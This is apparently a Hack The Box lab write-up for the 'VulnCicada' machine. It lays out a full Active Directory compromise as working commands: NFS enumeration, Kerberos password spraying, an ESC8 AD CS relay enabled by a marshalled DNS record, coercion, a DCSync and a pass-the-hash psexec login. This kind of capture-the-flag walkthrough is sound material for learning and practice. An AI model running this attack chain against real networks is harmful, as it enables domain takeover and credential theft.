
HTB: VulnCicada
NFS hands over a list of domain usernames, and a password hiding on a sticky note inside a stego'd PNG gets us our first Kerberos login. From there AD CS is vulnerable to ESC8, but the relay only fires once we feed Active Directory a marshalled DNS record that points the coercion right back at us, ending in a DCSync for Domain Admin.
We kick things off with the usual nmap scan, and we can see there's something hosted on port 80 and that this is an Active Directory environment.
nmap -sCV -p- -Pn 10.129.107.50 -v -T5 --min-rate 1500 --max-rtt-timeout 500ms --max-retries 3 --open -oN nmap_targets.txt

Let's add the cicada.vl domain to our hosts file and run enum4linux-ng to see what we can pull.
enum4linux-ng -A cicada.vl -u '' -p ''

Not much here, so let's keep moving. Looking back at the nmap we can see there's an NFS export exposed, maybe we can mount it to our Kali box.

showmount -e 10.129.107.50

There's a /profiles export, let's try to mount that. The first attempt fatfingers the path, so we fix it and add the nolock option.
sudo mount -t nfs -o vers=3,nolock 10.129.107.50:/profiles /mnt/cicada && ls -lan /mnt/cicada

We get usernames! Let's save these all to a users.txt list, then enumerate the directory properly.
ls -laR /mnt/cicada


Let's bring over those image files. We'll run file and exiftool on the two of them.
file vacation.png marketing.png
exiftool vacation.png marketing.png

That marketing.png throws an error, so something could be embedded in it. We'll run binwalk on both and see what we get.
binwalk marketing.png vacation.png

One of the images has a woman at a computer with a password exposed on a sticky note on her desk! We have to fix the permissions on that marketing.png first.
sudo chown poe:poe marketing.png && chmod 644 marketing.png && ls -la marketing.png

Great, let's grab that password and spray it across the usernames we have.

No hits on SMB, so let's keep checking out that photo. Checking for WinRM we get NTLM:False, which means we have to hit the DC and run everything through Kerberos.

Let's run the spray again against the dc-jpq225.cicada.vl host, this time with Kerberos.
nxc smb dc-jpq225.cicada.vl -u users.txt -p 'Cicada123' -k --continue-on-success

We have a hit, Rosie.Powell:Cicada123. Let's check what shares we can touch.
nxc smb dc-jpq225.cicada.vl -u Rosie.Powell -p 'Cicada123' -k --shares

We have READ and WRITE on profiles$ and READ on CertEnroll. Let's spider the shares and see what's going on.
nxc smb dc-jpq225.cicada.vl -u Rosie.Powell -p 'Cicada123' -k -m spider_plus
There are some interesting files and certs we can read.

Let's lock in a TGT with impacket before moving forward.
impacket-getTGT cicada.vl/Rosie.Powell:'Cicada123'
export KRB5CCNAME=$PWD/Rosie.Powell.ccache

Now that we have a foothold, let's enumerate users and make sure we aren't missing anything sprayable or any info hiding in the descriptions.
nxc smb dc-jpq225.cicada.vl -u Rosie.Powell -p 'Cicada123' -k --users

Let's grab BloodHound and sniff around to see if we have any ACL edges.
nxc ldap dc-jpq225.cicada.vl -u Rosie.Powell -p 'Cicada123' -k --bloodhound --dns-server 10.129.107.50 -c all

Let's run that through BloodHound and check the graph.

We're part of the Cicada group, let's check that out.

We find no useful edges, so let's head back to our terminal and run certipy against the CA.
certipy-ad find -u Rosie.Powell -p 'Cicada123' -k -target dc-jpq225.cicada.vl -dc-ip 10.129.107.50 -vulnerable -stdout

We have info here, and we can see it's vulnerable to ESC8.

sudo certipy-ad relay -target 'http://10.129.107.50' -template DomainController
nxc smb dc-jpq225.cicada.vl -u Rosie.Powell -p 'Cicada123' -k -M coerce_plus -o LISTENER=10.10.14.211

Something's going on here, we didn't get the .pfx back, so let's figure this out. We'll use bloodyAD to add a DNS A record pointing at our Kali box, then run krbrelayx and catch the coercion on our side.
bloodyAD -k --host dc-jpq225.cicada.vl -d cicada.vl --dc-ip 10.129.107.50 add dnsRecord attacker 10.10.14.211
sudo python3 ~/tools/krbrelayx/krbrelayx.py -t 'http://10.129.107.50/certsrv/certfnsh.asp' --adcs --template DomainController -ip 10.10.14.211
python3 ~/tools/krbrelayx/printerbug.py 'cicada.vl/Rosie.Powell:Cicada123'@dc-jpq225.cicada.vl attacker.cicada.vl -k

This didn't work either, so we have to take a step back and re-evaluate our position.
After doing some research, we're going to replace that DNS record with a marshalled one, meaning we bake the DC's name identifier (JPQ225) into the record so the server recognizes it, which should let the Kerberos relay actually fire.
export KRB5CCNAME=$PWD/Rosie.Powell.ccache
bloodyAD -k --host dc-jpq225.cicada.vl -d cicada.vl --dc-ip 10.129.107.50 \
add dnsRecord "DC-JPQ2251UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA" 10.10.14.211

We have to give this time and wait for it to resolve.

Now let's give the relay another shot.

We got it! Now let's use certipy to PKINIT, and then we DCSync with impacket.
certipy-ad auth -pfx DC-JPQ225.pfx -dc-ip 10.129.107.50
impacket-secretsdump -k -no-pass -just-dc-user Administrator 'cicada.vl/dc-jpq225$@dc-jpq225.cicada.vl'

Great, we got the Administrator hash. Let's psexec into the box and pass that hash.
impacket-psexec -hashes :85a0da53871a9d56b6cd05deda3a5e87 -k cicada.vl/Administrator@dc-jpq225.cicada.vl -dc-ip 10.129.107.50
We land in the NT AUTHORITY\SYSTEM account, head over to the Administrator desktop, and grab both the user and root flags.

This box was pretty interesting. I hadn't had to deal with a DNS record situation like this before, so this one was a total learning experience.
